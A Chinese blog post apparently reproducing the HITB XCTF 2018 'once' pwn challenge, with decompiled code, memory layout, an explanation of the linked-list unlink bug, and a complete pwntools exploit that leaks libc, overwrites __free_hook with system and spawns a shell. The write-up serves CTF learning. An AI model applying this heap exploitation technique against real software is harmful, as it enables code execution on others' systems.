美文网首页
hitb_xtf_2018_once复现

hitb_xtf_2018_once复现

作者: pu1p | 来源:发表于2018-04-17 21:42 被阅读31次

0x00 背景

由于忙于实验, 并没有打这场比赛. 不过之前A1Lin大佬分享了这道题目. 所以这儿就记录一下复现这道题的过程

0x01 程序分析

保护情况

checksec看一下:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开.

函数分析

主函数:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]
  __int64 savedregs; // [rsp+30h] [rbp+0h]

  v4 = __readfsqword(0x28u);
  sub_55D04D884D10();
  while ( 1 )
  {
    func0();
    read(0, &buf, 8uLL);
    atoi(&buf);
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        func_1();
        break;
      case 2u:
        func2();
        break;
      case 3u:
        func3();
        break;
      case 4u:
        func4();
        break;
      case 5u:
        puts("See you next time.");
        exit(0);
        return;
      default:
        puts("Invalid choice");
        printf("%p", &IO_puts);
        break;
    }
  }
}

可以通过无效的输入得到libc的地址

func1:

__int64 ptr()
{
  st *v0; // rax
  st *prev_g_ptr; // ST10_8

  v0 = (st *)malloc(0x20uLL);
  v0->bk = 0LL;
  v0->fd = 0LL;
  prev_g_ptr = g_ptr_0;
  g_ptr_0 = v0;
  v0->bk = &g_val2;
  v0->fd = prev_g_ptr;
  prev_g_ptr->bk = v0;
  puts("suceess.");
  return 0LL;
}

v0 是一个结构体指针. ida中使用结构体可以参考这个博客
其结构如下:

struct st{
  void *a;
  void *b;
  st *bk;
  st *fd;
}

类似双向链表. g_ptr_0初始值为&g_val_2.

func2:

int func2()
{
  if ( HIDWORD(g_flag2) == 1 )
    return -1;
  get_str(g_ptr_0, 0x20u);
  HIDWORD(g_flag2) = 1;
  return puts("success.");
}

func 3:

int func3()
{
  if ( (_DWORD)g_flag2 == 1 )
    return -1;
  g_ptr_0 = (st *)g_ptr_0->fd;
  g_ptr_0->bk = &g_val2;
  LODWORD(g_flag2) = 1;
  return puts("success.");
}

func4:

__int64 func4()
{
  int choice; // eax
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          func0();
          read(0, &buf, 8uLL);
          choice = atoi(&buf);
          if ( choice != 2 )
            break;
          if ( g_flag3 )
            return 0LL;
          get_str(g_ptr, size);
          g_flag3 = 1;
        }
        if ( choice > 2 )
          break;
        if ( choice != 1 )
          goto default;
        if ( g_flag4 )
          return 0LL;
        puts("input size:");
        read(0, &buf, 8uLL);
        LODWORD(size) = atoi(&buf);
        if ( (unsigned int)size <= 0xC7 || (unsigned int)size > 0x1F40 )
          return 0LL;
        g_ptr = malloc((unsigned int)size);
        if ( !g_ptr )
          exit(0);
        g_flag4 = 1;
      }
      if ( choice != 3 )
        break;
      if ( g_flag5 )
        return 0LL;
      free(g_ptr);
      g_ptr = 0LL;
      g_flag5 = 1;
    }
    if ( choice == 4 )
      return 0LL;
default:
    puts("error.");
  }
}

主要的限制就是很多功能只能调用一次

全局变量之间的位置关系:

.data:000055D04DA86020 g_val2          dq 0                    ; DATA XREF: func_1+67↑o
.data:000055D04DA86020                                         ; func3+47↑o
.data:000055D04DA86028                 dq 0
.data:000055D04DA86030                 dq offset g_val2
.data:000055D04DA86038 ; st *g_ptr_0
.data:000055D04DA86038 g_ptr_0         dq offset g_val2        ; DATA XREF: func_1+4D↑r
.data:000055D04DA86038                                         ; func_1+5C↑w ...
.data:000055D04DA86038 _data           ends
.data:000055D04DA86038
.bss:000055D04DA86040 ; ===========================================================================
.bss:000055D04DA86040
.bss:000055D04DA86040 ; Segment type: Uninitialized
.bss:000055D04DA86040 ; Segment permissions: Read/Write
.bss:000055D04DA86040 _bss            segment para public 'BSS' use64
.bss:000055D04DA86040                 assume cs:_bss
.bss:000055D04DA86040                 ;org 55D04DA86040h
.bss:000055D04DA86040                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:000055D04DA86040                 public __bss_start
.bss:000055D04DA86040 ; FILE *_bss_start
.bss:000055D04DA86040 __bss_start     dq ?                    ; DATA XREF: sub_55D04D884990↑o
.bss:000055D04DA86040                                         ; sub_55D04D884A60:loc_55D04D8849D0↑o ...
.bss:000055D04DA86040                                         ; Alternative name is '_edata'
.bss:000055D04DA86040                                         ; stdout
.bss:000055D04DA86040                                         ; _edata
.bss:000055D04DA86040                                         ; Copy of shared data
.bss:000055D04DA86048                 dq ?
.bss:000055D04DA86050                 public stdin
.bss:000055D04DA86050 ; FILE *stdin
.bss:000055D04DA86050 stdin           dq ?                    ; DATA XREF: sub_55D04D884D10+17↑r
.bss:000055D04DA86050                                         ; Copy of shared data
.bss:000055D04DA86058 qword_55D04DA86058 dq ?                 ; DATA XREF: sub_55D04D884A20↑r
.bss:000055D04DA86058                                         ; sub_55D04D884A20+29↑w
.bss:000055D04DA86060 g_flag2         dq ?                    ; DATA XREF: func3+17↑r
.bss:000055D04DA86060                                         ; func3+52↑w ...
.bss:000055D04DA86068 ; void *g_ptr
.bss:000055D04DA86068 g_ptr           dq ?                    ; DATA XREF: func4+F4↑w
.bss:000055D04DA86068                                         ; func4+FB↑r ...
.bss:000055D04DA86070 g_flag5         dd ?                    ; DATA XREF: func4:loc_55D04D884EE6↑r
.bss:000055D04DA86070                                         ; func4+17C↑w
.bss:000055D04DA86074 ; size_t size
.bss:000055D04DA86074 size            dd ?                    ; DATA XREF: func4+BA↑w
.bss:000055D04DA86074                                         ; func4+C0↑r ...
.bss:000055D04DA86078 g_flag4         dd ?                    ; DATA XREF: func4:loc_55D04D884E0D↑r
.bss:000055D04DA86078                                         ; func4:loc_55D04D884EA6↑w
.bss:000055D04DA8607C g_flag3         dd ?                    ; DATA XREF: func4:loc_55D04D884EB2↑r
.bss:000055D04DA8607C                                         ; func4+145↑w
.bss:000055D04DA8607C _bss            ends
.bss:000055D04DA8607C

0x02 漏洞分析

这题的利用思路十分精巧.
通过func_2()我们可以修改g_ptr_0指向的结构体体的内容. 从而结合func_3()我们可以将任何地方的值修改为 &g_val2, 那么如果我们将g_ptr的值修改为&g_val_2的话,我们岂不是就可以通过func_4()将后面的所有全局变量都给覆盖了. 我们可以根据已有的libc地址获得free_hook, system 和 "/bin/sh"的地址. 从而调用 system("/bin/sh").

0x03 破解脚本

from pwn import *

io = process('./once')

elf = ELF('./once')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#leak_libc base
io.sendline('0')
io.recvuntil('choice\n')
puts_base = io.recvuntil('>', drop = True)
puts_base = int(puts_base, 16)
libc_base = puts_base - 456336

libc.address = libc_base

_bss_start = libc_base + 3497872 + 456336
std_in = libc_base + 3494480 + 456336
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
#local libc's offset, not the offered libc
bash = libc_base + 0x18cd57

wait = 0.3
#init size
io.sendline('4')
sleep(wait)
io.sendline('1')
sleep(wait)
io.sendline('256')
sleep(wait)
io.sendline('4')

print('libc_base: ', hex(libc_base))
print('_bss_start: ', hex(_bss_start))
print('stdin: ', hex(std_in))
#unlink
io.sendline('1')
sleep(wait)
io.sendline('2')
sleep(wait)
io.send('a'*0x18 + '\x58')
sleep(wait)
io.sendline('3')
sleep(wait)


print('free_hook: ', hex(free_hook))

payload_1 = 'a'*0x18 + p64(free_hook + 0x30) + p64(_bss_start) + p64(0) + p64(std_in) + \
       p64(0) + p64(0) + p64(free_hook) + p32(0) + p32(0x100) + p64(0)

payload = 'a'*0x18 + p64(free_hook) + p64(_bss_start) + p64(0) + p64(std_in) + \
       p64(0) + p64(0) + p64(bash) + p32(0) + p32(0x100) + p64(0)

io.sendline('4')
sleep(wait)
io.sendline('2')
sleep(wait)
io.sendline(payload)
sleep(wait)
io.sendline('4')
sleep(wait)
io.recv()
sleep(wait)

io.sendline('2')

sleep(wait)

io.send(p64(system))

sleep(wait)

io.sendline('4')
sleep(wait)

io.sendline('3')
sleep(wait)

io.interactive()

脚本写的很丑.......懒得改了.............

相关文章

  • hitb_xtf_2018_once复现

    0x00 背景 由于忙于实验, 并没有打这场比赛. 不过之前A1Lin大佬分享了这道题目. 所以这儿就记录一下复现...

  • NetLogon 域内提权漏洞(CVE-2020-1472)

    NetLogon 域内提权漏洞(CVE-2020-1472)复现 摘要 影响版本 复现环境 漏洞脚本 复现开始 首...

  • ThinkPHP——ThinkPHP 5.x远程代码执行

    0x00目录 漏洞简介 影响版本 复现前提 复现环境 复现过程 总结 参考链接 0x01漏洞简介 ThinkPHP...

  • 复现

    我感谢生命中所有美好 但是,经历过幼时的格格不入 尝试过很多种调解无效 高中时期失败的班干体验 和糟糕的班级氛围 ...

  • 复现

    年底的事件反复出现 魔咒般到时间就到来 是什么创造反复事件 请你走开魔咒般事件 请你离开我的生活间 我们不欢迎你的出现

  • Android 8.0频现GC crash

    问题现象 复现步骤手机(Android 8.0, build id为opr6.170623.013)复现场景一: ...

  • 记 libAccessibility 通知 Crash 排查

    Crash 信息 libAccessibility 在发送通知时产生了 Crash。 复现场景 在某些路径可以复现...

  • [javascript]关于firstChild和lastChi

    复现:## debug:## so:问题主要是出自 之后和 之前的“回车”和“空格”字符,复现里面打印出的#tex...

  • 复现Cell图表:双侧柱状图展示上下调GO富集结果

    复现《cell》图表往期内容: 1、复现《Cell》图表:柱状图|添加分组注释|legend设置[http://m...

  • 通过浏览器来定位问题相关知识

    线上页面出问题了,某一版块没数据了,某一个页面打不开了,研发同学要定位问题,肯定要先复现,复现了之后呢,就是在复现...

网友评论

      本文标题:hitb_xtf_2018_once复现

      本文链接:https://www.haomeiwen.com/subject/kfxmkftx.html